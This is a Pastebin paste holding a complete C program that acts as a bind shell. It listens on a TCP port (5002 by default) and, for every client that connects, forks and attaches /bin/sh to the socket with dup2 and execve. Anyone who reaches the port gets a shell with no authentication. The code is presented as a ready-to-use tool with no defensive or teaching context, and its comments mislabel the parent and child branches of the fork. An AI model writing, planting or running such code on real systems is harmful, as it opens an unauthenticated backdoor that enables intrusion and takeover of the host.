Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- karthik@houseofkodai.in: 12 FEB 2018
- */
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <unistd.h>
- #include <netdb.h>
- #define ERR -1
- // crude - avoiding stdlib - does not deal with negative/errors
- int s2i(char* s) {
- int i=0;
- for (char *p = s; *p != '\0'; *p++) {
- if ((*p >= '0') && (*p <= '9')) {
- i = (i * 10) + (*p - '0');
- } else {
- break;
- }
- }
- return i;
- }
- int main(int argc, char **argv) {
- unsigned int port = 5002;
- if ( argc > 2 ) {
- port=s2i(argv[2]);
- }
- if (0 == port) return 1;
- char *execargs[] = {"/bin/sh", 0};
- int svrfd;
- struct sockaddr_in sa;
- sa.sin_family = AF_INET; //2
- sa.sin_port = htons(port);
- struct hostent *host;
- if ( argc > 1 ) {
- if (NULL == (host = gethostbyname(argv[1]))) {
- return 1;
- }
- sa.sin_addr = *((struct in_addr *)host->h_addr);
- } else {
- //sa.sin_addr.s_addr = INADDR_ANY; //0
- sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); //0
- }
- if (ERR == (svrfd = socket(AF_INET, SOCK_STREAM, 0))) return 1;
- int o = 1;
- setsockopt(svrfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for
- if (ERR == bind(svrfd, (struct sockaddr *) &sa, sizeof(sa))) return 1;
- if (ERR == listen(svrfd, 0)) return 1;
- while(1) {
- struct sockaddr_in ca;
- socklen_t calen = sizeof(struct sockaddr_in);
- int clientfd = accept(svrfd, (struct sockaddr *)&ca, &calen);
- if (ERR == clientfd) return 1;
- int pid = fork();
- if (ERR == pid) return 1;
- if (pid) {
- //child
- close(svrfd);
- dup2(clientfd, 0);
- dup2(clientfd, 1);
- dup2(clientfd, 2);
- execve(execargs[0], &execargs[0], NULL);
- //comes here only if execve fails
- close(clientfd);
- }
- //parent
- close(clientfd);
- }
- return 0;
- }
Add Comment
Please, Sign In to add comment